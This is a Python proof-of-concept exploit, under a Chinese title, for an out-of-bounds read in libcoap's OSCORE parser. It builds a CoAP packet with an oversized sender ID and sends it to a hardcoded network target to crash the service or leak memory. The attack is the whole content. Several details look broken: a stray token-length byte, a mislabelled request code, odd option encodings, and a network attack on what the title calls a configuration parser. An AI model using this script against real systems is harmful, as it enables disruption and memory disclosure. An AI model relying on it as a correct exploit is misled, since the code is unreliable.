CVE-2025-59391 libcoap OSCORE配置解析器内存越界读取漏洞

# CVE-2025-59391 PoC - libcoap OSCORE Configuration Parser OOB Read # This PoC demonstrates triggering an out-of-bounds read in libcoap's OSCORE parser import struct import socket def create_malicious_config(): """Generate malicious OSCORE configuration to trigger OOB read""" # Craft an OSCORE configuration with oversized ID fields config = bytearray() # OSCORE option header config += bytes([0xAB]) # Option number for OSCORE # Malformed OSCORE payload with oversized sender_id # sender_id length exceeds expected buffer size oversized_id = b'A' * 512 # 512 bytes when parser expects much less # Construct payload that triggers the vulnerable parsing path payload = bytearray() payload += bytes([0x01]) # OSCORE flag byte payload += struct.pack('>H', len(oversized_id)) # Length prefix payload += oversized_id payload += bytes([0x02, 0x03]) # Additional malformed fields config += bytes([len(payload)]) # Option length config += payload return bytes(config) def send_exploit(target_host, target_port=5683): """Send malicious CoAP packet with OSCORE configuration""" pkt = bytearray() # CoAP Header pkt += bytes([0x40, 0x03]) # Version 1, CON, POST pkt += bytes([0x00, 0x01]) # Message ID pkt += bytes([0x00]) # Token length = 0 # URI-Path option (required for OSCORE request) pkt += bytes([0x03, 0x01, 0x2E]) # OSCORE option pkt += create_malicious_config() # Payload marker pkt += bytes([0xFF]) sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.settimeout(5) try: sock.sendto(pkt, (target_host, target_port)) response, addr = sock.recvfrom(4096) return response except socket.timeout: return None finally: sock.close() if __name__ == "__main__": target = "192.168.1.100" result = send_exploit(target) print(f"[*] Sent malicious OSCORE config to {target}") if result: print(f"[*] Response received: {result.hex()}") print("[*] Potential OOB read triggered - analyze response for leaked memory") else: print("[*] No response - target may have crashed or is filtering")